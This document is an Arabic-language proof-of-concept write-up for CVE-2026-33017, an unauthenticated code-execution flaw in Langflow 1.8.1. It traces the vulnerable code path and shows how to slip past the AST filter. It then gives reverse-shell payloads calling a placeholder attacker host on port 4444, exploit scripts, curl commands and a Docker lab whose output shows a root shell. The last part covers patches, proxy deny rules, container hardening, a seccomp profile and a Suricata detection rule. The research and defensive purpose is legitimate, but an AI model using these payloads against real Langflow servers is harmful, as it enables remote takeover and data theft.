POST /api/v1/build_public_tmp/{flow_id}/flow

HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← استلام مدخلات العميل كما هي (الثغرة)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← تمرير بيانات العميل كما هي
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← تنفيذ كود عشوائي

# lfx/custom/validate.py — داخل prepare_global_scope()
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ عُقد Expr غير مشمولة في أي فئة → لا يتم تنفيذها

exec(compiled_code, exec_globals)  # تنفيذ definitions فقط

_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← حظر (Blocking) هنا

os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

threading.Thread(target=_shell, daemon=True).start()

# FunctionDef → ينفَّذ
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → ينفَّذ (الاستدعاء المنفرد عبر Expr يُستبعد من الفلتر، لذا يجب الإسناد إلى متغير)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

CVE-2026-33017/
├── README.md
├── Dockerfile              # بيئة Langflow 1.8.1 المصابة
├── Dockerfile.attacker     # حاوية المهاجم (تشمل curl, nc, net-tools)
├── docker-compose.yml      # الخادم المصاب + حاوية المهاجم
├── entrypoint.sh           # تشغيل Langflow والإنشاء التلقائي للتدفق العام
├── exploit.py              # PoC الشل العكسي
└── poc.py                  # التحقق من RCE الأعمى / وجود الثغرة

# 1. بناء الحاويات وتشغيلها
docker compose up --build

# 2. التحقق من الوصول إلى واجهة Langflow
# http://localhost:7860
# admin / admin123!

# 3. معرفة عناوين الحاويات
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

┌──────────────────────────────────────────────────┐
│  شبكة Docker الجسرية: poc-net                    │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (الضحية)  │
│  langflow-attacker   172.19.0.3       (المهاجم)  │
└──────────────────────────────────────────────────┘

docker exec -it langflow-attacker bash

# الوضع التلقائي (إصدار رمز + إنشاء تدفق عام + مستمع مدمج)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] جارٍ تسجيل الدخول... (admin)
[*] تم إصدار الرمز بنجاح
[*] جارٍ إنشاء التدفق العام...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] بدء المستمع → 0.0.0.0:4444
[*] نقطة النهاية : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] الاستدعاء       : 172.19.0.3:4444
[*] جارٍ إرسال الحمولة...
[*] استجابة HTTP  : 200

[+] تم الاتصال بالشل  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

# 1. إصدار رمز + إنشاء تدفق عام
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. مستمع nc (الطرفية 1)
nc -lvnp 4444

# 3. إرسال الحمولة (الطرفية 2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← استلام مدخلات العميل
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← تمرير بيانات العميل كما هي إلى خط أنابيب البناء
        ...
    )

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # إزالة معامل data نهائيًا من توقيع الدالة
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← قيمة None مُرمّزة، منع كامل لمدخلات العميل
        source_flow_id=flow_id,  # ← تحميل تعريف التدفق من قاعدة البيانات فقط
        ...
    )

التصميم المصاب: مدخلات العميل → تحقق → تنفيذ  (احتمال تجاوز التحقق قائم)
تصميم التصحيح:  مدخلات العميل → تجاهل تام
                تدفقات قاعدة البيانات المخزنة فقط → تنفيذ  (إزالة مسار الهجوم نفسه)

pip install langflow==1.9.1

server {
    listen 80;

    # حظر نقطة النهاية المصابة بـ CVE-2026-33017
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

قواعد الداخل (Inbound):
  المنفذ 7860 → السماح لعناوين IP المصرح بها فقط (إزالة 0.0.0.0/0)

# حظر الاتصالات الصادرة من حاوية langflow
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}

security_opt:
  - seccomp:./langflow-seccomp.json

POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)